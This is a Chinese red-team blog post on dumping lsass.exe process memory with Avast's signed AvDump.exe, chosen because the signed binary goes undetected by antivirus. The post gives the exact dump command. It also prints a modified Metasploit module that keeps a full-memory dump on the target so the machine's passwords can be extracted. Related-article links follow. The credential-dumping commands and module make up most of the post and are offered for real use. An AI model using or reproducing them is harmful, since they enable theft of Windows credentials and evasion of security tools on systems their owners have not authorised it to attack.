利用avdump转储lsass.exe进程

简介: 利用avdump转储lsass.exe进程


0x01 前言

昨天晚上在@Moriarty老哥的“红队学院”星球里看到一个“利用avast杀软自带程序转储进程内存”的技巧,晚上闲着没啥事就在本地环境中复现了一下!

0x02 avdump转储lsass.exe

AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,因为它带有Avast杀软数字签名,所以不会被反病毒检测和查杀,默认安装路径和下载地址如下:

.\avdump64.exe --pid 532 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ProgramData\lsass.dmp

0x03 avast_memory_dump

原作者写的MSF模块在利用成功后会自动删除目标磁盘上的转储文件,存储在/root/.msf4/loot/路径,而且使用的是最小转储形式,所以在实战中没法从lsass.dmp转储文件中提取到目标机器密码。


这里我对原作者写的模块做了些修改,去除了自动删除转储文件,加了一个--dump_level 1参数 [完整内存]。

      def run
        fail_with(Failure::NotVulnerable, 'AvDump.exe does not exist on target.') unless avdump_exists?
        print_status('AvDump.exe exists!')
        dump_path = datastore['DUMP_PATH']
        pid = datastore['PID'].to_s
        print_status("Executing Avast mem dump utility against #{pid} to #{dump_path}")
        result = cmd_exec("C:\\Program Files\\Avast Software\\Avast\\AvDump.exe --pid #{pid} --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file \"#{dump_path}\"")
        fail_with(Failure::Unknown, "Dump file #{dump_path} was not created") unless file_exist?(dump_path)
        print_status(dump_path)
        print_status(result)
      end


    0x04 原文地址

    相关文章
    利用任务管理器 转储文件创建转储文件
    利用任务管理器 转储文件创建转储文件
    |
    7月前
    |
    开发框架 .NET C#
    利用WinDbg分析C#程序产生的转储文件
    利用WinDbg分析C#程序产生的转储文件
    |
    7月前
    |
    Windows
    利用Windows自带的功能当程序崩溃时产生崩溃转储文件(dmp)
    利用Windows自带的功能当程序崩溃时产生崩溃转储文件(dmp)
    |
    11月前
    |
    Kubernetes NoSQL 机器人
    gdb调试内核dump文件
    容器中node ssr程序生成core文件,使用gdb进行调试
    159 0
    |
    数据安全/隐私保护
    驱动开发:内核中实现Dump进程转储
    多数ARK反内核工具中都存在驱动级别的内存转存功能,该功能可以将应用层中运行进程的内存镜像转存到特定目录下,内存转存功能在应对加壳程序的分析尤为重要,当进程在内存中解码后,我们可以很容易的将内存镜像导出,从而更好的对样本进行分析,当然某些加密壳可能无效但绝大多数情况下是可以被转存的。
    249 0
    驱动开发:内核中实现Dump进程转储